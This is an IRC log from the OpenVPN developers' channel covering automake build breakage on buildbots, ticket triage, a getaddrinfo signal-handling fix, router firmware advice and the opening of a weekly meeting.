<https://github.com/OpenVPN/openvpn/commit/0fe2498ef9326e301869c9e8a9e622a3996ae579> 14:01 <@cron2> mattock1: #500 is not james' - this is "just ours to deal with" (it might be in the connect client as well, but I know who wrote that code part and it wasn't james...) 14:04 <@cron2> *sigh* 14:04 <@cron2> debian-7 buildbot failed with... 14:04 <@cron2> tests/Makefile.am:12: option `serial-tests' not recognized 14:04 <@cron2> autoreconf: automake failed with exit status: 1 14:08 <@cron2> as does ubuntu1204, centos6, osol10, freebsd7, freebsd8... 14:08 <@cron2> and then people wonder why I hate autoconf... 14:13 <@dazo> :/ 14:13 <@dazo> Well, I tested it on RHEL7 14:14 <@dazo> Maybe we should re-think the buildbots slightly? ... that we have a box which does 'make dist' and then submits the tarball generated to the build slaves instead? 14:14 <@cron2> I tested on gentoo... but seems you need a recent-enough automake to recognize it - and I can't find a way to tell automake "here's an option, but do not barf if you do not understand it" 14:14 <@cron2> installing automake-1.14 on the buildslaves would not be such a major issue, but it would still affect people building from git and having older autotools around 14:15 <@cron2> (or "newer", depending on how our option setting ends up) 14:16 <@dazo> Is there a variable available in automake which defines the version? This option is actually automake dependent (not autoconf) 14:17 <@cron2> no idea, and no idea either if you can have conditionals in Makefile.am at all 14:17 <@dazo> if so ... you can do some 'if' stuff in Makefile.am 14:17 <@dazo> see src/openvpn/Makefile.am 14:18 <@dazo> there's a special trick on WIN32 14:19 <@cron2> indeed 14:26 <@dazo> Didn't find anything very obvious in the automake docs ... so you might need to do some tricks in configure.ac using AM_CONDITIONAL ... which gives you a variable you can use in the Makefile.am 14:28 <@dazo> maybe just declare a new argument in configure.ac .... ./configure --no-parallel-tests 14:29 <@dazo> --disable-parallel-tests is probably more according to the autotools standard 14:29 <@cron2> too late :-) - this happens between Makefile.am -> Makefile.in, and configure does Makefile.in -> Makefile (unless I'm more confused than usual) 14:30 <@cron2> so it really needs to happen in the "autoreconf -vif" phase, depending on the automake version 14:32 * cron2 is tired and frustrated and goes watch TV, and then to bed... 14:35 <@dazo> nope ... that doesn't work :/ 14:35 <@dazo> tests/Makefile.am:13: warning: 'AUTOMAKE_OPTIONS' cannot have conditional contents 14:36 * dazo goes to watch TV too 14:37 -!- dazo is now known as dazo_afk 15:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 15:47 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:47 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu May 28 2015 01:55 <@mattock1> cron2: https://community.openvpn.net/openvpn/ticket/421 01:55 <@vpnHelper> Title: #421 (Inline CRL) – OpenVPN Community (at community.openvpn.net) 01:55 <@cron2> mattock1: yes...? 01:56 <@mattock1> there's a question at the end 01:57 <@cron2> weird, I thought I had added a comment to this 01:57 <@cron2> (2-3 days ago) 01:57 <@mattock1> here's a question from cron2 to plaisthos from 12 months ago: https://community.openvpn.net/openvpn/ticket/412 01:57 <@vpnHelper> Title: #412 (persist-tun and redirect-gateway def1 don't work together when multiple remotes are defined) – OpenVPN Community (at community.openvpn.net) 01:57 <@cron2> anyway - I'd like to hear syzzer's opinion on the presented use case "CRL on the client side, all in one config" - is that really useful? 01:59 <@cron2> mattock1: plaisthos has disappeared into the magic realms of PhD making (and sports!)... :-) - but for this week, until monday, I'll focus on 2.3.7 related stuff so we can relase that one next week, then I'll go back to the larger picture 02:06 <@mattock1> too bad plaisthos does not make his PhD on the OpenVPN config parser... 02:17 <@mattock1> there are not "alpha 2.4", "beta 2.4" and "RC 2.4" milestones in Trac 02:18 <@mattock1> I propose that in next Monday's meeting we take a good look at what is required to release the 2.4 alpha and what we can postpone to the betas, RCs and 2.4.x 02:18 <@mattock1> and what we should just move to 2.5 02:20 <@mattock1> if we mange to make frequent smallish releases it's not a matter of life or death whether a certain feature/fix gets into 2.4 or if it gets postponed to 2.5 02:38 <@cron2> I'm so not planning for "after 2.4 is released" :) 02:39 <@cron2> mattock1: regarding #492 - can you check whether that user has a valid e-mail in trac? Maybe he's not receiving our questions... 02:40 <@mattock1> cron2: #492: sure 02:40 <@mattock1> as for 2.4/2.5... new tickets keep on coming up and if we set them to "release 2.4" we will never get 2.4 out at this pace 02:41 <@mattock1> so we need to prioritize 02:41 <@mattock1> planning for 2.5 is something else though :) 02:42 <@mattock1> we sure would need an active Windows developer... so many Windows tickets 02:43 <@plaisthos> well looking @412 now 02:44 <@plaisthos> Well that is pretty simple 02:44 <@plaisthos> I will answer in the ticket 02:46 <@mattock1> cron2: the guy on #492 does have an email address in Trac 02:48 <@plaisthos> mattock1: I think I know more than enough of the config parser :) 02:50 <@mattock1> :D 02:52 <@plaisthos> I mean I wrote my own - broken in different ways - parser for my app 03:32 <@mattock1> the dual stack patches have been (fully) merged, right? 03:32 <@cron2> yes 03:32 <@mattock1> can we close this then: https://community.openvpn.net/openvpn/ticket/276 03:32 <@vpnHelper> Title: #276 (Segmentation fault if signal received during address resolution) – OpenVPN Community (at community.openvpn.net) 03:32 <@cron2> well, "yes in 2.4", but that could still be a relevant bug for 2.3 03:38 <@mattock1> I'll mention that 2.3 is not fixed and probably will not be fixed 03:38 <@cron2> nah 03:38 <@cron2> if it's a bug, we'll fix it 03:38 <@mattock1> ok so this is fixable in 2.3 without major restructuring/work? 03:39 <@cron2> yes, it seems to be fairly trivial - the bug already describes what is failing, we just need someone to go and test it, and then code and test a fix 03:40 <@cron2> milestone 2.3.8 - it's a rare case, but still openvpn should never ever crash 03:42 <@mattock1> ok, sounds good 03:42 <@mattock1> I think I covered all the tickets that had no milestone 03:43 <@mattock1> not that many got assigned to a milestone 03:45 <@cron2> cool :) 03:45 <@cron2> something different... 03:45 <@cron2> if I want to test something on all buildbots, but do not want to commit to master (because it might just be a stupid idea), what would "you" suggest how to tackle it? 03:46 <@cron2> can I just create a new branch "gert-testing" and push to SF, and start a rebuild with that commit id? 03:46 <@cron2> where do the buildbots pull from, SF or github? 03:47 <@mattock1> lemme check 03:48 <@mattock1> buildbot is pulling from sf.net currently, but that can be changed 03:49 <@mattock1> git://git.code.sf.net/p/openvpn/openvpn-testing 03:49 <@mattock1> "master" branch 03:49 <@mattock1> but I believe the branch can be changed in the Buildbot web interface 03:50 <@mattock1> have not tried if that actually works, though 03:50 <@mattock1> -> lunch 03:50 <@cron2> ok, will try... 03:57 <@cron2> but the point is moot anyway... the idea I had for automake ("AUTOMAKE_OPTION = 1.10" = "use the 1.10 API") doesn't affect serial-tests/parallel-tests 04:06 <@cron2> arrrgh portability hell 04:06 <@cron2> freebsd can install multiple automake versions as automake-1.11, automake-1.14, and "automake" is a script that tries to find a version matching $AUTOMAKE_VERSION, and if not set, uses the newest one (- we could use that for the buildbots) 04:07 <@cron2> now, NetBSD, just installs a hard link "automake" to "automake-1.15"... 04:08 <@cron2> Gentoo also has multiple automake scripts and a wrapper, but wants $WANT_AUTOMAKE to specify "give me 1.11" 04:12 * cron2 gives up on this 04:17 <@vpnHelper> RSS Update - gitrepo: Revert "Enforce "serial-tests" behaviour for tests/Makefile" <https://github.com/OpenVPN/openvpn/commit/859f6aaac6ef35c54306b6f10d2ec902dd41c89b> 04:21 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-rasppkqbwhcmdzej] has quit [] 04:55 <@mattock1> cron2: I think testing possibly breaking commits in a separate branch before merging them in "master" would be a good procedure 04:56 <@mattock1> especially if the builds are likely to break 04:58 <@cron2> yeah, I'll do that next time I touch anything auto* related (*grumble*) 04:59 <@cron2> I did not expect breakage this time, so "likely to break" wasn't flagged... after all, dazo tested and I did... 05:01 -!- dazo_afk is now known as dazo 05:07 <@cron2> mattock1: I'm sure I've asked that before - can you apply local patches to buildbot doings? 05:08 <@cron2> so we could do the "AUTOMAKE_OPTIONS = serial-tests" on those buildbots that need it ("having recent automake") and leave it out for the rest 05:22 <@mattock1> cron2: I think we already apply local patches to some buildslaves 05:22 <@mattock1> I'll check 05:23 <@mattock1> indeed we do for builder-cron2-netbsd-51-amd64-stable-master 05:23 <@mattock1> tempfactory.addStep(ShellCommand(command=["patch", "-p1", "tests/t_lpback.sh", "netbsd-t_lpback.sh.patch"] ... 05:23 <@cron2> ah, true, I remember now :-) (that was the IDEA breakage) 05:24 <@mattock1> so we can work around this for the buildslaves only 05:24 <@mattock1> elsewhere parallel tests don't hurt that much 05:25 <@mattock1> we could even write a script that _conditionally_ patches the makefile depending on automake version and apply that step to all buildslaves 05:25 <@mattock1> probably easier than keeping track of every single buildslave's automake version 05:25 <@cron2> that would be extremely cool :-) 05:26 <@cron2> (and help with future buildslaves right away... I see a FreeBSD 10.x box coming up, and a new OpenBSD one...) 05:29 <@mattock1> I'll create something now, I have 1,5 hours to spare 05:35 <@cron2> mmmh 05:35 <@cron2> so who fixed #350... 05:35 <@cron2> ah!! 05:35 <@dazo> cron2: To be honest, I think we shouldn't be that "careful" in regards to autotools versions. Most distros allows multiple versions being installed, and that we have a minimum requirement to autotools isn't completely unheard of ... people wanting to do git master builds on older autotools either have to upgrade autotools *or* they can run 'make dist' on a more updated box, transfer the tarball to the old box and run ./configure 05:35 <@dazo> directly ..... automake/autoconf is only required to make the ./configure scripts and Makefile.in files ... the rest is shell scripts 05:35 <@cron2> it's not fixed, it's just syslog who hides the error message 05:35 <@cron2> May 28 12:34:49 blue openvpn[30955]: TCP: accept(3) failed: Socket operation on non-socket (errno=88) 05:35 <@cron2> May 28 12:35:20 blue last message repeated 31 times 05:38 <@cron2> dazo: I can see the argument - but don't feel really qualified enough to make a decision (and don't feel the pain so severely if mattock fixes the buildslaves)... meeting agenda (next monday)? 05:40 <@mattock1> cron2: can you test if "automake --version|head -n 1" produces this kind of output on OpenBSD, Gentoo etc.: 05:40 <@mattock1> automake (GNU automake) 1.14.1 05:40 <@mattock1> on Debian 8 and FreeBSD 10 this is the case 05:40 <@cron2> automake (GNU automake) 1.15 05:40 <@cron2> automake (GNU automake) 1.14.1 05:41 <@mattock1> looks fairly standard 05:41 <@mattock1> I'm sure some distro will put extra stuff at the end and break parsing the version :P 05:41 <@cron2> automake (GNU automake) 1.9.6 05:41 <@mattock1> ok, looking good 05:41 <@cron2> that's OldBSD 05:42 <@dazo> cron2: agreed ... but the idea behind autotools is that once it has become a "distributed package" (make dist), you shouldn't need autotools to be installed at all 05:43 <@dazo> anyhow ... if mattock1 upgrades autotool on buildslaves ... we won't have an issue in our environment 05:43 <@cron2> dazo: I understand, but *I* never build openvpn from tarballs, so what do I know :-) 05:43 <@dazo> :) 05:43 <@dazo> mattock1: RHEL7: automake --version|head -n 1 05:44 <@dazo> automake (GNU automake) 1.13.4 05:44 <@cron2> no, the idea is not to upgrade autotools (which would cause quite a bit of work on stuff like opensolaris or freebsd 7) but to patch tests/Makefile.am for "new autotools" and leave it alone for older ones 05:44 <@mattock1> dazo: great! no surprises to be expected then :P 05:44 <@dazo> SL6: automake (GNU automake) 1.11.1 05:44 <@cron2> of course that test can be reverted to re-apply the patch in question, and only remove it for older autotools... 05:44 <@mattock1> and this is only for buildslaves 05:45 <@cron2> but I truly do not feel like thinking about automake any more today, it's giving me headaches and my fingers itch 05:45 <@dazo> :) 05:46 <@cron2> but yeah, having "AUTOMAKE_OPTIONS = 1.14 serial-tests" in there, and document that requirement (1.14 and up, or remove that line) would work for me... 05:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 05:49 <@dazo> cron2: save this for later ... when you are ready for more autotools crap ... https://www.redhat.com/archives/libguestfs/2013-February/msg00102.html 05:49 <@vpnHelper> Title: [Libguestfs] [PATCH] build: Only add 'serial-tests' for automake >= 1.12 (at www.redhat.com) 05:55 <@cron2> oh. *look*. How do they do that? 05:57 <@cron2> sheesh 05:58 <@plaisthos> cron2: hack o rama? 06:00 <@mattock1> neat trick 06:00 <@mattock1> I will cease my work on the patching script 06:03 <@cron2> plaisthos: drama! 06:07 <@cron2> so mattock vouchs for using the same trick? 06:17 <@mattock1> if the trick does the trick then I'm all for it 06:17 <@mattock1> better that than adding manual patches to buildslaves 06:18 <@mattock1> I wonder who should fix https://community.openvpn.net/openvpn/ticket/399 and http://community.openvpn.net/openvpn/ticket/516 06:18 <@vpnHelper> Title: #399 (Issue with register-dns in Windows 8.1) – OpenVPN Community (at community.openvpn.net) 06:20 <@mattock1> if I've read those two correctly, some changes to openvpn code is required, so somebody !samuli would have to take care of the change 06:21 <@mattock1> maybe meeting material 06:36 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-06-01 06:36 <@vpnHelper> Title: Topics-2015-06-01 – OpenVPN Community (at community.openvpn.net) 06:36 <@mattock1> please update as needed 06:36 <@mattock1> I'll announce the meeting today just in case my Internet sucks on Monday 07:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:20 -!- dazo is now known as dazo_afk 08:29 -!- dazo_afk is now known as dazo 08:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:32 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-urbwvacvsfmqlwsu] has joined #openvpn-devel 10:07 -!- esde [~esde@openvpn/user/esde] has quit [Quit: .] 10:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:39 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 10:45 -!- dazo is now known as dazo_afk 11:11 <@mattock1> here's a proposal for interpretation of Trac ticket fields: https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#ManagingTractickets 11:11 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 11:11 <@mattock1> also added a topic for that for next Monday's meeting 11:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 11:38 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 240 seconds] 11:41 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 11:58 <@cron2> what the hell is --redirect-private for? 12:20 * cron2 understands, and regrets the question 14:06 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 250 seconds] 14:08 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 14:30 <@plaisthos> cron2: :) 15:04 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 265 seconds] 15:06 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 15:15 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 264 seconds] 15:16 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 21:49 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 240 seconds] 21:50 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 22:22 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 258 seconds] 22:29 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 23:21 <+krzee> i dont regret you asking it 23:21 <+krzee> what is it for? :-p --- Day changed Fri May 29 2015 02:08 <@cron2> I could tell you, but then you'll have to kill yourself 02:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:04 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-urbwvacvsfmqlwsu] has quit [] 03:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:59 -!- dazo_afk is now known as dazo 09:57 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-zwvqithraihnelvy] has joined #openvpn-devel 12:43 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 265 seconds] 12:44 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 13:13 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 250 seconds] 13:21 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 13:54 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 240 seconds] 13:55 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 14:27 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 246 seconds] 14:28 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 14:37 -!- dazo is now known as dazo_afk 16:03 <+krzee> :D 16:04 <+krzee> but i have no access to use /kill 16:04 <+krzee> * Permission Denied - You're not an IRC operator --- Day changed Sat May 30 2015 10:53 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 272 seconds] 10:56 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 12:31 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Excess Flood] 12:41 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 14:21 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 15:09 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 265 seconds] 15:10 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 15:19 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 15:19 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:20 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 18:25 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 255 seconds] 18:33 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel --- Day changed Sun May 31 2015 05:22 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has left #openvpn-devel ["Leaving"] 07:23 <@vpnHelper> RSS Update - gitrepo: cert_data: fix memory leak <https://github.com/OpenVPN/openvpn/commit/7d30696ac51aa9649f2290ada2c0fb5865cfe859> 08:13 <@cron2> *sigh* 08:13 <@cron2> #523 starts to get on my nerves 08:14 <@cron2> linux getaddrinfo() seems to do "stat64("/etc/resolv.conf",...)" every time, so changes *are* picked up... 08:15 <@cron2> (at least, for this particular version of glibc on this particular gentoo system) 08:28 <@cron2> *and* git master has a very particular interpretation of "--resolv-retry infinite", namely "try once"... *scratch head* 08:35 <@cron2> ok, that seems to be intentional :-) 08:35 <@cron2> if (sock->resolve_retry_seconds == RESOLV_RETRY_INFINITE) 08:35 <@cron2> retry = 0; 13:05 <@cron2> what the f... 13:05 <@cron2> plaisthos: can you explain this beauty at the beginning of openvpn_getaddrinfo()? 13:05 <@cron2> if ((flags & (GETADDR_FATAL_ON_SIGNAL|GETADDR_WARN_ON_SIGNAL)) 13:05 <@cron2> && !signal_received) 13:05 <@cron2> signal_received = &sigrec; 13:06 <@cron2> ah 13:06 <@cron2> ugh 13:06 * cron2 does not want to know 14:16 <@plaisthos> cron2: I did not change that stuff 14:17 <@plaisthos> that was already there ... 14:21 <@cron2> plaisthos: yeah, I just assumed you would understand it :-) - but I got it now (and again, wish I had not asked) 14:22 <@plaisthos> cron2: I understand what it does 14:22 <@plaisthos> but I don't why anymore 14:23 <@cron2> well, openvpn_getaddrinfo() is sometimes called with signal_received=NULL *but* one of these signals, and it can't fulfill that without having a local way to store the signal... and the whole "do we have a signal?" code relies on having a pointer to write to 14:23 <@cron2> s/signals/FLAGs/ 14:23 <@cron2> anyway... I think my fix in #276 is "the right thing to do"... if you can have a look? 14:24 <@cron2> (wasn't your code, but you're the one who understands socket.c best, thus qualified to ACK/NACK it) 14:24 * cron2 goes watch tv for a while... 14:26 <@plaisthos> looking at it .. 14:29 <@plaisthos> the patch looks good 14:29 <@plaisthos> and it does not harm 14:30 <@plaisthos> and I think your analysis is right 14:30 <@plaisthos> signal and their weird handling ... 14:46 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-zwvqithraihnelvy] has quit [] 15:44 <@cron2> good :) - patch sent to list 16:42 -!- FredGarnier [sid25073@gateway/web/irccloud.com/x-jxzhlptezweifhhu] has joined #openvpn-devel --- Day changed Mon Jun 01 2015 01:50 -!- bremby [~eddy@195.113.220.114] has joined #openvpn-devel 01:51 < bremby> hello 01:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 01:52 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:52 < bremby> I've discovered that the 'keepalive x y' setting has some limitations on its use, e.g., y >= 2*x 01:53 < bremby> this is not mentioned at all in the manpage, which it should, as the error logs from openvpn describe it well 01:54 < bremby> mattock: take that as a bug report and sorry for not reporting it in trac, I hate registering on _every_damn_site_. 01:56 < bremby> also, while I'm at it: can I set 'keepalive 0 0' or at least 'ping 0'? I need openvpn to stop sending keepalive packets and communicate only on demand 02:09 <@cron2> should work. If not, just do not set it in the first place - default for keepalive and ping is "off" 02:30 < bremby> cron2: that's the trouble - dd-wrt has some defaults that I need to override 02:52 <@cron2> if "0" doesn't work, try "1000000" - once every two days or so :) 02:53 < bremby> cron2: ok, thanks :) 03:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:13 -!- dazo_afk is now known as dazo 04:18 <@dazo> !dd-wrt 04:18 <@dazo> "dd-wrt" is (#1) While some users have success with dd-wrt, the build system isn't very accessible to users and there have been security issues with the distro. Consider carefully if this is the platform you want to use for OpenVPN or (#2) Firewall oopsie : http://www.dd-wrt.com/phpBB2/viewtopic.php?t=35783 or (#3) more issues: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=84536 04:18 <@dazo> bremby: ^^ 04:25 < bremby> dazo: the first one is already removed, for the second one I don't have the admin page available from the net 04:25 < bremby> dazo: and both are old as hell. is there something you wanted to say? 04:26 < bremby> dazo: dd-wrt sucks for me for different reason - ipkg/opkg being unavailable 04:27 <@dazo> bremby: well, their attitude to security issues is disturbing. "Oh someone have made public all private keys we've used. No problem because people should not admin their router via the Internet" ... that's not really going to work, also remember that _ssh_ keys can be gathered the same way 04:28 <@dazo> In regards to the iptables issue ... that's just absurdly handled when they basically did "yeah, we've fixed it but we won't give you an ETA or warn our users about this issue".... do you trust that there won't be any other newer issues which you do not know about, due to their handling? 04:29 < bremby> dazo: yeah, I get what you mean. 04:29 <@dazo> (the "warn users" would be the responsible way to do, especially when there was a simple command you could run in a shell to fix it) 04:29 < bremby> dazo: thanks for letting me know. how about openwrt then? or what kind of router do you use? 04:30 <@cron2> openwrt are the cool guys, of course, and they also ship recent openvpn versions :) 04:30 <@dazo> I switched to openwrt ... that is fairly sane and far more responsible in security handling, to my experience 04:31 <@cron2> problem is routers with broadcom wifi - some of them just don't work right with openwrt, but dd-wrt has access to the closed source broadcom stuff (religious debate, of course) and they work... 04:31 <@cron2> for "not using the wifi", openwrt always :) 04:31 < bremby> ok, but the trouble is, in here (central europe) I was looking for a decent hardware that would run either dd-wrt or openwrt. The one I got wasn't especially cheap and it 'just' runs dd-wrt 04:32 < bremby> and yes, I have a broadcom chip 04:32 < bremby> dammit 04:32 <@cron2> I went for TP-Link TL-4200, 2.4+5GHz radio, full openwrt support, about ~50 EUR 04:32 <@dazo> I replaced my tp-link-wr1043nd with tp-link wdr3600 ... that works very well, also with dual-band 04:32 <@cron2> the only thing that sucks is that the USB ports do not really provide full 500mA, so my USB/UMTS dongle keeps resetting... 04:32 <@cron2> yeah, the 4200 is the big brother of the 3600 04:33 <@cron2> 4300 even 04:33 <@cron2> lemme check again 04:33 <@dazo> 4200 wasn't available when I ordered mine ... but the price was so low, I didn't really care that much :) 04:33 <@cron2> http://wiki.openwrt.org/toh/tp-link/tl-wdr4300 04:33 <@cron2> this one, actually 04:34 < bremby> well crap, I payed about 80EUR for that crap of mine and dd-wrt supports it only in beta 04:35 < bremby> just my luck :-/ 04:35 <@dazo> I think I paid around €45 for mine 04:36 <@dazo> (some months ago) 04:39 < bremby> when I buy a new hardware for openwrt, at least I'll have a board to tinker with ;) 04:39 <@dazo> :) 04:42 < bremby> cron2: how about that docs bug I reported earlier? will it be taken care of? 04:55 <@cron2> bremby: if someone either opens a trac ticket or sends a patch to openvpn-devel@lists.sourceforge.net, yes. Otherwise, maybe, maybe not... I will forget about it unless something is there as a reminder, but maybe mattock will just make it into a trac ticket if you ask him nicely :) 05:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 06:22 <@cron2> mattock: what you found for #311 is interesting - and that explains why I couldn't find anything, I only tested with 2.3 06:26 <@vpnHelper> RSS Update - tickets: #558: problem after server restart - client doesn't accept new ip <https://community.openvpn.net/openvpn/ticket/558> 06:58 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 244 seconds] 07:38 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:38 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:38 <@cron2> reboots suck 09:04 -!- bremby [~eddy@195.113.220.114] has quit [Quit: leaving] 11:07 <@vpnHelper> RSS Update - gitrepo: On signal reception, return EAI_SYSTEM from openvpn_getaddrinfo(). <https://github.com/OpenVPN/openvpn/commit/5f6c01ea6172ed1d8ed04e31f9f6c3f8e4696109> 11:37 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:37 -!- mode/#openvpn-devel [+o andj__] by ChanServ 11:38 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 256 seconds] 11:38 -!- andj__ is now known as andj 12:06 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:07 <@cron2> AAAAARGHHH 12:07 <@cron2> I SO HATE WINDOWS 12:07 <@cron2> of *course* "status = EAI_SYSTEM" will not work on windows 12:15 <@cron2> mattock: your buildbot is very much appreciated 12:22 < mattock_> Nice! 12:33 <@cron2> mattock_: can you do a build of "master + a specific patch" easily? I think that the patch I just sent (EAI_AGAIN instead of EAI_SYSTEM) *should* work, according to MSDN docs, but I'd rather test it first... 12:33 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/9768 12:33 <@vpnHelper> Title: Gmane -- PATCH Use EAI AGAIN instead of EAI SYSTEM for openvpn getaddrinfo . (at article.gmane.org) 12:36 < mattock_> cron2: I can trigger a build manually 12:38 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 12:39 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:39 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:48 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:50 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 12:50 <@mattock1> who will be here today for the meeting? 12:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:55 <@cron2> mattock_: well, it would need "git master + patch from list" - I do not want to commit it if it won't work... 12:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:56 <@cron2> mattock1: well, it would need "git master + patch from list" - I do not want to commit it if it won't work... 12:56 <@cron2> besides, I'm here :) 12:57 <@mattock1> cron2: which patch? 12:57 <@mattock1> I can trigger a manual Windows build now 12:57 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/9768 12:57 <@vpnHelper> Title: Gmane -- PATCH Use EAI AGAIN instead of EAI SYSTEM for openvpn getaddrinfo . (at article.gmane.org) 12:57 <@cron2> this one :) 12:59 <@mattock1> ok 13:04 <@syzzer> I'm here too 13:04 <@mattock1> I wonder if everyone else forgot the meeting 13:04 <@mattock1> ah hi! 13:05 <@mattock1> I was about to throw in the towel :P 13:05 <@syzzer> heh, so I was just in time ;) 13:05 <@mattock1> yep 13:05 <@cron2> syzzer: welcome back :) 13:06 <@mattock1> so here's the topic list: https://community.openvpn.net/openvpn/wiki/Topics-2015-06-01 13:06 <@vpnHelper> Title: Topics-2015-06-01 – OpenVPN Community (at community.openvpn.net) 13:06 <@syzzer> let me try a windows build locally 13:06 <@mattock1> I need to split in about an hour 13:06 <@mattock1> syzzer: feel free, though I was about to do it 13:06 <@syzzer> also fine - less work for me ;) 13:06 <@mattock1> ok 13:07 <@cron2> anyway, topic #1 - trac fields. I think what you wrote up works 13:08 <@mattock1> ok, great! 13:08 <@mattock1> I'll remove the text about proposals etc. 13:09 <@mattock1> topic #2: https://community.openvpn.net/openvpn/ticket/427 13:09 <@cron2> the judgement of "it can be reasonably be resolved" might differ between people who look at tickets .-) (I feel confident hacking socket issues, but won't resolve windows stuff) but with these as general guidelines, we should be good 13:09 <@vpnHelper> Title: #427 (make check doesn't play nicely with automake 1.12 and up) – OpenVPN Community (at community.openvpn.net) 13:09 <@cron2> *sigh* (did I mention I hate automake?) 13:09 <@mattock1> cron2: yeah, what I meant is "can be expected to get resolved" 13:10 <@cron2> "whatever" :) - it is good enough as an orientation, and we can always refine it 13:10 <@mattock1> yep 13:10 <@mattock1> so automake 13:10 * syzzer looks 13:10 <@mattock1> cron2: have you tried the automake hack from libguestfs? 13:11 <@cron2> haven't tried, but I'm reasonably sure that it works 13:11 